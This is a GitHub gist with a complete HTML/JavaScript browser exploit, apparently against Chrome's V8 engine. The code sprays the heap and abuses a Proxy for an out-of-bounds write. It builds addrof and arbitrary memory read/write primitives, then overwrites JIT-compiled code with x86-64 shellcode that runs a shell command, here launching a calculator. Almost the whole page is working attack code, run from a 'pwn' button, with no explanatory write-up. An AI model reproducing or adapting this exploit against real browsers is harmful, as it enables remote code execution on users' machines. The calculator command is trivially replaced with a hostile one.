Skip to content

Instantly share code, notes, and snippets.

@andreafioraldi
Created April 9, 2019 09:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreafioraldi/160c28163422f96888f1d0f4ecd4e877 to your computer and use it in GitHub Desktop.
Save andreafioraldi/160c28163422f96888f1d0f4ecd4e877 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<script>
function print(text) {
if (arguments.length > 1) text = Array.prototype.slice.call(arguments).join(' ');
console.log(text);
var element = document.getElementById('output');
if (element) {
var sp = document.createElement('span');
sp.textContent = text;
sp.style.width = "100px";
sp.style.transition = "1s";
element.appendChild(sp).focus();
element.innerHTML += "</br>";
requestAnimationFrame(() =>
setTimeout(() => {
sp.style.width = "200px";
}, 10)
);
}
}
/* saelo Int64 and utilities */
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
var Struct = (function() {
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
this.asDouble = function() {
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
this.bytes = function() {
return Array.from(bytes);
};
this.byteAt = function(i) {
return bytes[i];
};
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
function Neg(n) {
return (new Int64()).assignNeg(n);
}
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
/* EXPLOIT */
var bufs;
function pwn() {
print("spraying...");
bufs = Array(10000000);
for(let i = 0; i < 200; ++i)
bufs[i] = new ArrayBuffer(32);
print("crafting arrays...");
var oob_w = [0.1, 0.1, 0.1, 0.1];
var oob_rw = [0.2, 0.2, 0.2, 0.2];
var arb_rw = new ArrayBuffer(0x41);
oob_rw.obj = 0x42424242
oob_rw.stop_flag = 0x43434343
var arb_rw_float = new Float64Array(arb_rw, 0, 8);
arb_rw_float[0] = 0x42424242;
var proxy = new Proxy(oob_w, {
get: function(t, n) {
if(n == "length") return 0x1000000;
return t[n];
}
});
print("compiling target shellcode function...");
function shellcode(x) {
for (var i = 2; i < x / 2; i++) {
if (x % i == 0)
return false;
}
return true;
}
for (var i = 0; i < 1000; i++)
shellcode(i);
//values for this chrome build
//var oob_w_idx = 13;
//var oob_rw_idx = 4;
/*
%DebugPrint(oob_w);
%DebugPrint(oob_rw);
%DebugPrint(arb_rw);
%DebugPrint(shellcode);
*/
print("finding oob offsests...");
var oob_w_idx = 1;
//guess oob_w_idx
while(oob_rw.length == 4) {
proxy.replaceIf(oob_w_idx, function(v){return true;}, 0x1000000);
oob_w_idx += 4;
}
oob_w_idx -= 4;
//guess oob_rw_idx
//+4 offset of elements
var oob_rw_idx = oob_w_idx -9 +4;
print("oob_w_idx: " + oob_w_idx);
print("oob_rw_idx: " + oob_rw_idx);
print("oob_rw.length: " + oob_rw.length);
function addrof(obj) {
oob_rw.obj = obj;
var last = 0;
for(let i = 0; i < 0x100000; ++i) {
let v = Int64.fromDouble(oob_rw[i]);
if(v.toString() == "0x4343434300000000")
break;
last = v;
}
return last;
}
var shellcode_addr = addrof(shellcode);
print("shellcode address: " + Sub(shellcode_addr, 1))
var memory = {
read8(addr) {
oob_rw[oob_rw_idx] = addr.asDouble();
var v = new Float64Array(arb_rw, 0, 8);
return Int64.fromDouble(v[0]);
},
read(addr, size) {
oob_rw[oob_rw_idx] = addr.asDouble();
let a = new Uint8Array(arb_rw, 0, size);
return Array.from(a);
},
write(addr, val) {
oob_rw[oob_rw_idx] = addr.asDouble();
var v = new Uint8Array(arb_rw);
v.set(val);
}
}
var code_addr = memory.read8(Add(shellcode_addr, 47));
print("jitted function address: " + code_addr)
var jitted_addr = Add(code_addr, 64);
print("jitted code address: " + jitted_addr)
var cmd = "env DISPLAY=':0' mate-calc;\x00";
var cmd_arr = [];
for(var i = 0; i < cmd.length; ++i)
cmd_arr.push(cmd.charCodeAt(i));
var code_pt1 = [0x90,72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184];
var code_pt2 = [82,80,81,87,72,137,230,184,59,0,0,0,15,5];
var code_size = code_pt1.length + 8 + code_pt2.length;
var code = [].concat(
code_pt1,
Array.from(Add(jitted_addr, code_size).bytes()),
code_pt2
);
print("writing shellcode...");
memory.write(jitted_addr, code);
memory.write(Add(jitted_addr, code_size), cmd_arr);
print("win");
shellcode();
}
</script>
</head>
<body>
<h1>HACK THE PLANET</h1>
<button onclick="pwn()">pwn</button>
<br><br><br>
<div id="output">
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment